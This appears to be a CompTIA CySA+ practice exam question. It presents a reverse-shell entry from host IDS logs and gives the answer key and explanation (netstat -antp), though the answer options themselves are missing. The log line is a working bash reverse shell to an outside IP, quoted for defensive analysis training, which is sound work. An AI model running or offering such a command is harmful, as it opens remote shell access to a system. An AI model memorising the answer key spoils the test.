CompTIA CySA+ (CS0-003) — Question 40

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

Answer options

Correct answer: D

Explanation

The correct answer is D because using netstat with the -antp flags will display active network connections, including those listening on port 8080, which can help confirm ongoing malicious activity. Options A and B do not directly assess ongoing connections, while option C is irrelevant since it attempts to list a directory that does not exist.